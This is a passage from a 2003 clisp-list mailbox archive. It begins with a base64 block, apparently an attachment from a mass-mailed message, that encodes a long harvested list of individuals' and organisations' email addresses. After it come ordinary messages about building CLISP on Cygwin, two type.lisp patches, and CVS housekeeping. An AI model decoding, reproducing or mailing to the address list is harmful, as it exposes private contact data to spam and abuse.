b3JnDQpjYW1wcjJAamF2YW5ldC5jb20NCmV2bmV0QGdvLmNvbQ0KdXplckBpcHJpbXVzLmNvbS5h dQ0KY2hlQGNoZWNhZmUudWNzZC5lZHUNCmNvbGxlY3RpdmVAYnVybi51Y3NkLmVkdQ0KZG11cnBo eUBidXJuLnVjc2QuZWR1DQpidy1ldmVudHNAdG9waWNhLmNvbQ0KNTBAMjI4LnVxcjFhMWRsZHVx DQpmZWVkYmFja0B0aGVtYXJjdXNnYXJ2ZXliYnMuY29tDQpwZWFjZWVmZm9ydHNAeWFob29ncm91 cHMuY29tDQpwZWFjZWVmZm9ydHMtb3duZXJAeWFob29ncm91cHMuY29tDQpjb2xsZWdlY29udmVy c2F0aW9uQHlhaG9vZ3JvdXBzLmNvbQ0KY29sbGVnZWNvbnZlcnNhdGlvbi1vd25lckB5YWhvb2dy b3Vwcy5jb20NCmFuZHJldy5vcmxvd3NraUB0aGVyZWdpc3Rlci5jby51aw0KdGhlYmxhY2tsaXN0 QGVhcnRobGluay5uZXQNCm1hc2hhQG1lZGlhcG9zdC5jb20NCmVkaXRvckBtdXNpY2Rpc2guY29t DQpmZWVkYmFja0BtZWRpYXBvc3QuY29tDQphYnVzZUBzeW1wYXRpY28uY2ENCmNvcHlyaWdodEBt ZWRpYWZvcmNlLmNvbQ0KbGlzYS5ib3dtYW5AY25ldC5jb20NCnRpcHNAbmV3cy5jb20NCmtuYWJA a25hYi5jb20NCmNocmlzQGtuYWIuY29tDQprbG11Yml6QGdldHJlc3BvbnNlLmNvbQ0KYnJpYW4u c21pdGhAbndtZWRpYS5jb20NCmJldmFuZ2VsaXN0YUBzZmNocm9uaWNsZS5jb20NCmRhdmlkLmJl Y2tlckBjbmV0LmNvbQ0KZ2hhdXNlckBob3RtYWlsLmNvbQ0KbHlubmUzOGJmQGFvbC5jb20NCm0u YS5ncmVlbkB3bHYuYWMudWsNCmNvc2F0dUB3bi5hcGMub3JnDQpmaXJzdC5sYXN0bmFtZUB1dGFo LmVkdQ0KaGVscGRlc2tAdXRhaC5lZHUNCmF1dGhvckBkYWxhbmlhYW1vbi5jb20NCmtzaWRkMzcz OThAYW9sLmNvbQ0KbmV3dHJlbmRtYWdAeWFob28uY29tDQpzdXBwb3J0QGN3by5jb20NCmlwY29t QHNmbi5zYXNrYXRvb24uc2suY2ENCnNmbkBzZm4uc2Fza2F0b29uLnNrLmNhDQp3ZWJtQGl1Y2Fh LmVybmV0LmluDQpmb250YWluZUBzcmkudWNsDQpha2FwYW5pQGhvdG1haWwuY29tDQp3YW5kYWJA YXJhZ29ybi5vcmkub3JnDQplY29sLWVjb25AY3NmLmNvbG9yYWRvLmVkdQ0KaXNobWFlbC1saXN0 QGlhc3RhdGUuZWR1DQp3YWtldXBAZ3RlLm5ldA0KcmxAbWF0aC50ZWNobmlvbi5hYy5pbA0KZHJh bHZpbndhbGtlckBlYXJ0aGxpbmsubmV0DQptaXRjaGVsY29oZW5AbWluZHNwcmluZy5jb20NCmFt YWRpX2FqYW11QGhvdG1haWwuY29tDQpydW5va29AeWFob28uY29tDQp1bml0ZV9uX3Jlc2lzdEB5 YWhvby5jb20NCmpuZXVzb21AZGVsbGVwcm8uY29tDQpqdWFuZGVib2xhc0BlYXJ0aGxpbmsubmV0 DQpudWJpYW4ubmV0d29ya0Bwcm9kaWd5Lm5ldA0KYmxhbWJAZG9yb3RoeWpvaG5zb25zLmNvbQ0K cGFteUBtaWNyb3NvZnQuY29tDQpncmVnQHJ4aW5zaWRlci5jb20NCmNnaWdAbWljcm9zb2Z0LmNv bQ0KbGRvdHNvbkB0YXJndXMuY29tDQpycGFya3NAcmVjcnVpdG1hc3RlcnMuY29tDQpncmVnb3J5 MTM4QGNveC5uZXQNCmtheWxlZTFAY2hhcnRlci5uZXQNCmRlc3RhbmVlQG1zbi5jb20NCm9fYWtr ZWJhbGFAbXNuLmNvbQ0Kc29hMUBqdW5vLmNvbQ0KYnVja3N0b3BzQHdlYnR2Lm5ldA0KcmNsaW50 b241NUBob3RtYWlsLmNvbQ0Kd29uYWphbmdkaXQyQGhvdG1haWwuY29tDQpjb21tZW50c0BibGFj a2NvbnNjaW91c25lc3MuY29tDQptYWlsbGlzdEBibGFja2NvbnNjaW91c25lc3MuY29tDQprYWxh bXVAYW9sLmNvbQ0KcmFkaW9xY0BzaXJpdXMuY29tDQpwcmlzb25fcmFkaW9AdG9waWNhLmNvbQ0K dHlwaXN0Ymhhc2thckB5YWhvby5jbw0Kd3d3LmFkcGxhY2VyMTU3NzdAeWFob28uY28NCnR5cGlz dHZpamF5YUB5YWhvby5jbw0KZG9jc0BodHRwZC5hcGFjaGUub3JnDQpucGluaGVpckBicmlsbC5h Y29tcC51c2YuZWR1DQpzdGFuZm9yZEBjcnJoLm9yZw0KcmVzdG9yZUBjcnJoLm9yZw0KZHJ0b2RA bWlrdXJpeWEuY29tDQpibG9ja3llckBnZGNkb2puZXQuc3RhdGUuY2EudXMNCmJhcmJhcmFAbWFp bC5ob3VzZS5nb3YNCmJvbGRzQGNpLmJlcmtlbGV5LmNhLnVzDQphc3NlbWJseW1lbWJlci5taWdk ZW5AYXNzZW1ibHkuY2EuZ292DQpkaW9uLmFyb25lci5AYXNzZW1ibHkuY2EuZ292DQpkb24ucGVy YXRhQHNlbi5jYS5nb3YNCmRvbmFzcHJpbmdAbWluZHNwcmluZy5jb20NCmZyZWRfZ2FyZG5lckBj aS5zZi5jYS51cw0KZGlzdDVAY28uYWxhbWVkYS5jYS51cw0Ka3dvcnRoaW5ndG9uQGNpLmJlcmtl bGV5LmNhLnVzDQpsYmljZUBjby5hbGFtZWRhLmNhLnVzDQpiYXJiYXJhLmxlZUBtYWlsLmhvdXNl Lmdvdg0KYmFybmV5LmZyYW5rQGhvdXNlLmdvdg0Kc2VuYXRvci52YXNjb25jZWxsb3NAc2VuLmNh Lmdvdg0Kc2VuYXRvckBib3hlci5zZW5hdGUuZ292DQpzZW5hdG9yQGZlaW5zdGVpbi5zZW5hdGUu Z292DQpzdWUubm9ydGhAc2VuLmNhLmdvdg0KbmZiYmlkZmJlbGxnbWRsYWViYm9rZWNsY3BhYS5k cnRvZEBtaWt1cml5YS5jb20NCmpvZXdlaW5AcG9ib3guY29tDQpkcmN0YWxrQGRyY25ldC5vcmcN CjA4N2YxMWFjQGM5c2MuY2F0di5uZS5qcA0KYW1jY29ybWlja0Bob21lLmNvbQ0KbmV0YXVkckBh YmMuY29tDQpkZWFyX2JpbGxAaW5jb3JyZWN0LmNvbQ0KcHRwZWV0QGNzLmNvbQ0KY2lhLWRydWdz QHlhaG9vZ3JvdXBzLmNvbQ0KZnJlZWRvbW5ld3NuZXRAYW9sLmNvbQ0KOTUuMTBhOTY3ZTcuMjhk Yzk4NWRAY3MuY29tDQpzcHluZXdzQHlhaG9vZ3JvdXBzLmNvbQ0KNmIuMWFmZjMxNWYuMjhkY2Ey YjdAY3MuY29tDQo1LjEuMC4xNC4yLjIwMDEwOTA4MDE0MjA1LjA0N2U2MDcwQG1haWwub2x5d2Eu bmV0DQpjcnJoQGNycmgub3JnDQp2aWduZXNAbW9uYWNvLm1jDQpybGFrZUBtYXBpbmMub3JnDQpt ZWRwb3QtZGlzY3Vzc0B5YWhvb2dyb3Vwcy5jb20NCjUuMS4wLjE0LjIuMjAwMTA5MDgwODU1MTAu MDQ3ZTNlYzBAbWFpbC5vbHl3YS5uZXQNCmJlc21pdGhAc25vd2NyZXN0Lm5ldA0KbWF5ZGF5QHlh aG9vZ3JvdXBzLmNvbQ0Kc3NkcHRhbGtAZHJjbmV0Lm9yZw0Kb3duZXItbWFwbmV3c0BtYXBpbmMu b3JnDQp2YS1kcHJAZHJjbmV0Lm9yZw0KY29tcGFzc2lvbmF0ZW1vbXNAeWFob29ncm91cHMuY29t DQo1LjEuMC4xNC4yLjIwMDEwOTA4MDkwODAyLjA0N2RkYTUwQG1haWwub2x5d2EubmV0DQpoZW1w LXRhbGtAaGVtcC5uZXQNCmRwZnQtbEBsaXN0c2Vydi50YW11LmVkdQ0KbWVkbWpAZHJjbmV0Lm9y Zw0KNS4xLjAuMTQuMC4yMDAxMDkyMTE0MTE1OS4wNDI1NWJhMEBtYXBpbmMub3JnDQpqZW5uaWZl ci5sLmRlbGFyb3NhQGFiYy5jb20NCnZ0Z3Jvb3RzQG1hZHJpdmVyLmNvbQ0KcmVhbGZhdGZyZWRk eWpheUB3b3JsZG5ldC5hdHQubmV0DQpjaG91aW5hcmRAaW5jb3JyZWN0LmNvbQ0KZWtvbXBAZWFy dGhsaW5rLm5ldA0KY2h1cmNoLW9mLXRoZS11bml2ZXJzZUBlZ3JvdXBzLmNvbQ0KYml0Y2hjcmFm dHNAd2VidHYubmV0DQpjb21wYXNzaW9uYXRlbW9tc0BlZ3JvdXBzLmNvbQ0KYW5uQGNvbXBhc3Np b25hdGVtb21zLm9yZw0KbGliZXJ0eV9hY3Rpb25AaG90bWFpbC5jb20NCmRwZnBhbmV3c0BkcnVn c2Vuc2Uub3JnDQphcm9AZHJ1Z3NlbnNlLm9yZw0Kbm9yYUBub3ZlbWJlci5vcmcNCjIwMDEwOTIx MjAyMC5uYWEwODk1NkBhbWVyaWNpdW0uYmFyZW1ldGFsLmNvbQ0KbWdyZWVyQG1hcGluYy5vcmcN CmhtZ3JheUBpeC5uZXRjb20uY29tDQphbGVydHNAZHJ1Z3NlbnNlLm9yZw0KNS4xLjAuMTQuMi4y MDAxMDkwODA4MzMxMS4wM2I4ZTMxMEBtYXBpbmMub3JnDQpzZW50bHRlQG1hcGluYy5vcmcNCmxl dHRlcnNAZnJlZXByZXNzLmNvbQ0KbGV0dGVyc0BkZXRuZXdzLmNvbQ0KbGV0dGVyc0BueXRpbWVz LmNvbQ0KbGV0dGVyc0B3YXNocG9zdC5jb20NCmxldHRlcm5ld3NAYW9sLmNvbQ0KbGdhYnJpZWxA bWV0cm90aW1lcy5jb20NCnB1bHNlQGNjbWFpbC5nci1wcmVzcy5jb20NCjNiYWJhMGJjLjhlYzZl NzU2QGl4Lm5ldGNvbS5jb20NCmxldHRlcnNAaGVyYWxkcGFsbGFkaXVtLmNvbQ0KNS4xLjAuMTQu Mi4yMDAxMDkyMTE1Mzc0Ni4wNDkyMGI5MEBtYWlsLm9seXdhLm5ldA0KbGV0dGVyc0BoZXJhbGQu Y28ubnoNCmVkaXRvckBtYXBpbmMub3JnDQp3aWxsaWFtYWJob3VzZUBob3RtYWlsLmNvbQ0Kcm9s Zl9lcm5zdEBlbWFpbC5jb20NCm9lNTlwOWNkYmh5M3Nwd2JncGUwMDAwMDNiNEBob3RtYWlsLmNv bQ0KY2F2Yy5zYW1AYXR0Lm5ldA0KNS4xLjAuMTQuMi4yMDAxMDkwODA5MDQxMC4wNDdlNTQ5MEBt YWlsLm9seXdhLm5ldA0KZHJ1bXpAYmVzdC5jb20NCjNiYWI5MDA4LjhlZWRlMmU3QGF0dC5uZXQN CnBhcmFsZWdhbGFzc29jQGFvbC5jb20NCjUuMS4wLjE0LjIuMjAwMTA5MDgxNTA0MzEuMDRlMmEw NTBAbWFpbC5vbHl3YS5uZXQNCnBsbXJ5b3VAYW9sLmNvbQ0KcG9saWN5Lm9mZmljZUBtaWhyYS5v cmcNCnBvd2Vyd2FzaG9uZUBjcy5jb20NCjUuMS4wLjE0LjIuMjAwMTA5MDgwODU4MDUuMDQ3ZTVh ZTBAbWFpbC5vbHl3YS5uZXQNCnBwYWF4eEBraWgubmV0DQpyMHNlcmVkMTZAYW9sLmNvbQ0KcmFu ZHJAYWNjZXNzd2F2ZS5jYQ0KcmF5YmFzaGFtQGVjci5uZXQNCnB1YnNAY21hLmNhDQpyZXMwOWJw c0B2ZXJpem9uLm5ldA0KcmV2ZGFrb3RhQHdlYnR2Lm5ldA0KcmV2Z3JuZGF2ZUB5YWhvby5jb20N CnJpdmVycm9ja0BuZXQtcG9ydC5jb20NCnJqaHlsYW5kMUBob21lLmNvbQ0Kcmxyb290QHByb2Rp Z3kubmV0DQpyb2JpbnNkZWFuQGVhcnRobGluay5uZXQNCnJvamUtYnJrZXRvQHdlYnR2Lm5ldA0K NS4xLjAuMTQuMi4yMDAxMDkwODEwNDU0MS4wNDdlODBkMEBtYWlsLm9seXdhLm5ldA0Kcm9sZXdp c0BtdHUuZWR1DQpyb2xsaW5nNjZAc2t5ZW5ldC5uZXQNCnJyYW1hbDEzQHlhaG9vLmNvbQ0KNS4x LjAuMTQuMi4yMDAxMDkwODEwNTE0Mi4wNDdlYzUxMEBtYWlsLm9seXdhLm5ldA0Kb3BpbmlvbkBz ZWF0dGxldGltZXMuY29tDQpyd3JvZGVAaG9tZS5jb20NCmFiLmY5YTZkZTQuMjhkZDgzNjJAYW9s LmNvbQ0KZHJjbmV0QGRyY25ldC5vcmcNCmRyYy1uYXRsQGRyY25ldC5vcmcNCjUuMC4yLjEuMi4y MDAxMDkyMTExMTAxNS4wNTEzMWVjMEBkcmNuZXQub3JnDQpwc21pdGhAZHJjbmV0Lm9yZw0KNS4x LjAuMTQuMi4yMDAxMDkwNzIzMjYyNy4wNDdlNjdiMEBtYWlsLm9seXdhLm5ldA0KYm9yZGVuQGRy Y25ldC5vcmcNCmxpc3RoZWxwQGRyY25ldC5vcmcNCnBlYWtlZGl0b3JAcHJjbi5vcmcNCmFuYWRp MjAwMEBlYXJ0aGxpbmsubmV0DQp1bGlfcml0Y2hpZUBjb21wdXNlcnZlLmNvbQ0KZmVuaWNoZWxA d29ybGRuZXQuYXR0Lm5ldA0Kcm5laWxsQGJlbGxhdGxhbnRpYy5uZXQNCnNjb3R0c2h1c3RlckBt c24uY29tDQpzY294QG9jZWFuLmNpdHkuazEyLm5qLnVzDQpzaGFya2xhd0B0ZXhhcy5uZXQNCnNo YXJyaXNvQGFpdXNhLm9yZw0Kc3dpc2huaWFAaGlnaHRpbWVzLmNvbQ0Kc3ppbGFneWlAaG90bWFp bC5jb20NCnRmbGF5QGFvbC5jb20NCnRpbWZAZGFuZHkubmV0DQp3bW9yZWxhbmRAb2NlYW4uY2l0 eS5rMTIubmoudXMNCjQxMjAwMTk2ODE2NTE5MjBAZWFydGhsaW5rLm5ldA0KcmltY2hhbXA3N0B6 ZG5ldG9uZWJveC5jb20NCmRhdmllc3BAZ3Rjb25uZWN0LmNvbQ0KMjAwMTA5MDgxNTAxMTAucWlp bDc4MzEubXRhMDQub25lYm94LmNvbUBvbmVib3guY29tDQpuZXdzbGV0dGVyQGRydWdzZW5zZS5v cmcNCmNhbGVuZGFyQGRyY25ldC5vcmcNCmpncmpAdWlvd2EuZWR1DQphbWVybWV0aEBhb2wuY29t DQpzc2RwQHNzZHAub3JnDQp1NnFtN2dpYTgzcWwwOTJ5bkBkcnVnc2Vuc2Uub3JnDQpzdWJoYV9k aGFuYXJhakBob3RtYWlsLmNvbQ0KbGV0dGVyc0BkYWxsYXNvYnNlcnZlci5jb20NCnJlc3RvcmUt b3duZXJAY3JyaC5vcmcNCm1heGhhcm1AbWF4aW1pemluZ2hhcm0uY29tDQpwaGlsQGRydWdzZW5z ZS5vcmcNCmRvdWdAZHJ1Z3NlbnNlLm9yZw0KbmFkYXZAd2lyZWQuY29tDQprZmlubkByaWNoLmNv bQ0KZ3JlZ0BuZXh0ZGF5Z29sZi5jb20NCnZpY2tpQHVjcHNvdXRoZmxvcmlkYS5vcmcNCnVjcGRl dkBiZWxsc291dGgubmV0DQpnb2xmQHNwcmluZ2xha2Vnb2xmLmNvbQ0KcGF1bEBzbm9iaG9sbG93 LmNvbQ0Kbml0aW5AcG9ja2V0cGNtYWcuY29tDQpvcmRlcnNAdGhhZGRldXMuY29tDQpqYXp6ZW50 ZXJ0YWlubWVudEB0c3BlZWQubmV0DQp1c0B1cy1vcmdhbml6YXRpb24ub3JnDQppbnRlcnNlcnZl QG1pbmRzcHJpbmcuY29tDQpjbHNvZnR3YXJlQGFvbC5jb20NCmpuZXVzb21AeWFob28uY29tDQpq YXp6bGFzdmVnYXNAbWVkaWFiYW5kLm5ldA0Kc2FsZXNAZ290YW1wYWJheS5jb20NCmplYi5idXNo QG15ZmxvcmlkYS5jb20NCm1ham9yZG9tb0BtYXBpbmMub3JnDQptYXBlZGl0QG1hcGluYy5vcmcN Cm1hcHRhbGtAbWFwaW5jLm9yZw0KYXJ0c21hcnRAbmVvc29mdC5jb20NCm93bmVyLWRwZndpQGRy dWdzZW5zZS5vcmcNCmxldHRlcnNAbGF0aW1lcy5jb20NCjEyOEAyNDMuNmE3a2F6ZXVpNmINCjEy OEAyNDUuNDcwdWF0cW5nenANCjEyOEAxODMudTF3aWF6ZGJoZDINCm5ld3NsZXR0ZXItcmVxdWVz dEBkcnVnc2Vuc2Uub3JnDQpkZmxkNzZAaG90bWFpbC5jb20NCmpvaG5AYWx0aGVhbHRoc3lzLm5l dA0Kc3RlaW5ib3JuQHN1cmxhdy5jb20NCmhnaHRAa2FibGUuY29tDQpkZWFuQGN1bHR1cmFsLWJh Z2dhZ2UuY29tDQpuZXRyYWRpb0BkcnVnc2Vuc2Uub3JnDQpyaW1jaGFtcDc3QGp1bm8uY29tDQpj aHJpc0BmY2RhLm9yZw0Kam1icm93bkB3ZXNsZXlhbi5lZHUNCmFodXJ0ZXJAd2VzbGV5YW4uZWR1 DQplZmZpY2FjeUBtc24uY29tDQphcm1hQG1pdC5lZHUNCm5vcm1sQG5vcm1sLm9yZw0KbXVzaWNA ZGFsbGFzb2JzZXJ2ZXIuY29tDQp0bWFydGlAbWVudGEubmV0DQpwcmVzc0BpbnRlbGxleC5jb20N Cm1pZ3VldEBpbmZpLm5ldA0KcGF0aWVudHNAbWVkaWNhbGNhbm5hYmlzLmNvbQ0KY2FybEBjb21t b25saW5rLm5ldA0KZG91dHJlQGhhcm1yZWR1Y3Rpb24ub3JnDQpmZWFybm8xQG5ibi5jb20NCmhy Y0BoYXJtcmVkdWN0aW9uLm9yZw0KaHJjd2VzdEBoYXJtcmVkdWN0aW9uLm9yZw0KYmVsbGV0dG9y QGFvbC5jb20NCmhlYXJlZm9ybUBkcmNuZXQub3JnDQpkYXlvZnZvaWNlQHBoYXRuZXR3b3JrLm5l dA0KYmlsbGRvd25pbmdAbWVkaWFvbmUubmV0DQpwb3R0dkBkcnVnc2Vuc2Uub3JnDQphbmRyZXd3 b29kQGxlZ2VuZGFyeW1hcmtldGluZy5jb20NCnJhbmR5QHBhbG1haXJlZ29sZi5jb20NCmFsbEAx Z29sZi5jb20NCml0QGFsbHJlc25ldC5jb20NCnJvc3NAYmNnb2xmZ3VpZGUuY29tDQprbWFudGVy QGdvbGZtYXJ5bGFuZC5jb20NCmVyaWNfYW5kcmV3X2tpbmdAaG90bWFpbC5jb20NCg0KDQo= --===_SecAtt_000_1fmbhhmcpbdyrm From yadin+@pitt.edu Tue Apr 01 09:39:06 2003 Received: from mb2i0.ns.pitt.edu ([136.142.186.36]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190Piz-0001dh-00 for ; Tue, 01 Apr 2003 09:39:05 -0800 Received: from GOLDSCHMIDT.phyast.pitt.edu ([136.142.111.76]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KU7P0P553O000BVX@mb2i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Tue, 1 Apr 2003 12:39:00 EST From: "Yadin Y. Goldschmidt" Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries In-reply-to: Originator-info: login-id=yadin; server=imap.pitt.edu To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Message-id: <5845984.1049200739@GOLDSCHMIDT.phyast.pitt.edu> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 09:45:25 2003 X-Original-Date: Tue, 01 Apr 2003 12:38:59 -0500 Hello Sam, Now that clisp cvs can be compiled on cygwin I have a few questions /comments/requests: 1. Why when I type clisp --version no version information appears, but instead I get the |1> prompt? Is it because this is cvs and not a regular release? 2. When compiling on cygwin the compilation stops in the middle because of undefined reference to main in libcharset. I have to manually go to build/libcharset/lib and issue the compile comand without -no-undefined. Can configure be changed so it will not implement the no_undefined_flag for cygwin? 3. The patched cygwin libiconv library has to be recompiled before the clisp compilation can be successful. I did that myself but it is probably a good idea to ask Chuck Wilson the libiconv maintainer to update the library on the cygwin tree. Should I ask him or you, Sam, want to do that? Otherwise I am really pleased with this release. I used it to recompile maxima and it works great. Thanks again, Yadin. --On Monday, March 31, 2003 9:42 AM -0500 Sam Steingold wrote:r >> * In message <4887728.1049019900@yadin-nb> >> * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries" >> * Sent on Sun, 30 Mar 2003 10:25:00 -0500 >> * Honorable "Yadin Y. Goldschmidt" writes: >> >> I successfully compiled cvs head on cygwin. Thank you. the problem has >> been solved. > > Thanks to Arseny Slobodjuck & Dan Stanger for much debugging! > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux > > > MS Windows vs IBM OS/2: Why > marketing matters more than technology... From sds@gnu.org Tue Apr 01 10:20:24 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190QMy-0004X7-00 for ; Tue, 01 Apr 2003 10:20:24 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out001.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030401182017.DFAF19613.out001.verizon.net@loiso.podval.org>; Tue, 1 Apr 2003 12:20:17 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h31ILkTx001390; Tue, 1 Apr 2003 13:21:46 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h31ILkbx001386; Tue, 1 Apr 2003 13:21:46 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Yadin Y. Goldschmidt" Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries References: <5845984.1049200739@GOLDSCHMIDT.phyast.pitt.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5845984.1049200739@GOLDSCHMIDT.phyast.pitt.edu> Message-ID: Lines: 94 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [151.203.42.128] at Tue, 1 Apr 2003 12:20:14 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 10:25:52 2003 X-Original-Date: 01 Apr 2003 13:21:46 -0500 > * In message <5845984.1049200739@GOLDSCHMIDT.phyast.pitt.edu> > * On the subject of "Re: Re[2]: [clisp-list] win32 cvs head binaries" > * Sent on Tue, 01 Apr 2003 12:38:59 -0500 > * Honorable "Yadin Y. Goldschmidt" writes: > > 1. Why when I type clisp --version no version information appears, but > instead I get the |1> prompt? Is it because this is cvs and not a > regular release? this was a bug, introduced in the -repl/multiple -x patch recently. I just fixed it. thanks for reporting it. > 2. When compiling on cygwin the compilation stops in the middle > because of undefined reference to main in libcharset. I have to > manually go to build/libcharset/lib and issue the compile comand > without -no-undefined. Can configure be changed so it will not > implement the no_undefined_flag for cygwin? probably. I am sure Dan Stanger or Arseny Slobodjuck can do that. I have no access to cygwin (or woe32). > 3. The patched cygwin libiconv library has to be recompiled before the > clisp compilation can be successful. I did that myself but it is > probably a good idea to ask Chuck Wilson the libiconv maintainer to > update the library on the cygwin tree. Should I ask him or you, > Sam, want to do that? Please ask him yourself. Note that in your very first message to this list you appeared to indicate that CLISP cannot be built on cygwin without libiconv. If this is the case, it is no good and should be fixed. Please apply the first appended patch and rebuild without libiconv. The warnings (in an ugly list form due to bootstrapping) will tell us what encodings are missing. The second patch should make clisp build on cygwin even without libiconv. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux You can have it good, soon or cheap. Pick two... =============================================================================== --- type.lisp.~1.44.~ 2003-04-01 13:15:21.000000000 -0500 +++ type.lisp 2003-04-01 13:16:44.000000000 -0500 @@ -1372,11 +1372,18 @@ ;; Return the definition range of a character set. If necessary, compute it ;; and store it in the cache. (defun get-charset-range (charset &optional maxintervals) - (or (gethash charset table) - (setf (gethash charset table) - (charset-range (make-encoding :charset charset) - (code-char 0) (code-char (1- char-code-limit)) - maxintervals)))) + (let ((name (if (encodingp charset) (encoding-charset charset) charset))) + (or (gethash name table) + (let ((enc (if (encodingp charset) charset + (make-encoding :charset charset + :if-does-not-exist nil)))) + (unless enc ; SHOULD BE AN ERROR!!! + (warn "~S: invalid charset ~S" 'get-charset-range charset) + (return-from get-charset-range nil)) + (setf (gethash name table) + (charset-range enc (code-char 0) + (code-char (1- char-code-limit)) + maxintervals)))))) ;; Fill the cache, but cache only the results with small lists of intervals. ;; Some iconv based encodings have large lists of intervals (up to 5844 ;; intervals for ISO-2022-JP-2) which are rarely used and not worth caching. =============================================================================== --- type.lisp.~1.44.~ 2003-04-01 13:15:21.000000000 -0500 +++ type.lisp 2003-04-01 13:21:05.000000000 -0500 @@ -1373,10 +1373,12 @@ ;; and store it in the cache. (defun get-charset-range (charset &optional maxintervals) (or (gethash charset table) + (let ((enc (make-encoding :charset charset :if-does-not-exist nil))) + (and enc (setf (gethash charset table) - (charset-range (make-encoding :charset charset) + (charset-range enc (code-char 0) (code-char (1- char-code-limit)) - maxintervals)))) + maxintervals)))))) ;; Fill the cache, but cache only the results with small lists of intervals. ;; Some iconv based encodings have large lists of intervals (up to 5844 ;; intervals for ISO-2022-JP-2) which are rarely used and not worth caching. From kaz@footprints.net Tue Apr 01 10:47:18 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190QmW-00051k-00 for ; Tue, 01 Apr 2003 10:46:48 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 190Qm1-000267-00 for clisp-list@lists.sourceforge.net; Tue, 01 Apr 2003 10:46:17 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: CVS issues. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 1 10:53:12 2003 X-Original-Date: Tue, 1 Apr 2003 10:46:17 -0800 (PST) While working on the new backquote stuff, I ran into some irritations with $Log$ keywords in some files in src and src/po. This useless thing just causes merge conflicts. It might be a good idea to get rid of $Log$ and the messages it has generated. The messages are useless out of the context of the version control system anyway, since you need to pull out the old versions and view diffs to make sense out of them anyway. (I was working off a branch made from the 2.30 sources, tracking the latest CVS in another branch, and merging both branches down to my trunk). What else? Oh yes, question: must src/aclocal.m4 be in version control? I've had phony diffs because this was regenerated on its own and then checked in. I had to edit it out of the patch I submitted. I'm not sure why this was regenerated in my stream; perhaps something to do with the Autoconf upgrade to 2.57. Somehow I ended up with a different version of this file in the stream which tracks the CVS, and my main trunk, which is almost the same as that stream, except for the merged backquote changes. From sds@gnu.org Tue Apr 01 11:42:08 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 190Re3-0006is-00 for ; Tue, 01 Apr 2003 11:42:08 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out004.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030401194201.DNAU11006.out004.verizon.net@loiso.podval.org>; Tue, 1 Apr 2003 13:42:01 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h31JhYTx003492; Tue, 1 Apr 2003 14:43:34 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h31JhYeK003488; Tue, 1 Apr 2003 14:43:34 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CVS issues. References: Reply-To: X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [151.203.42.128] at Tue, 1 Apr 2003 13:42:01 -0600 Sender: 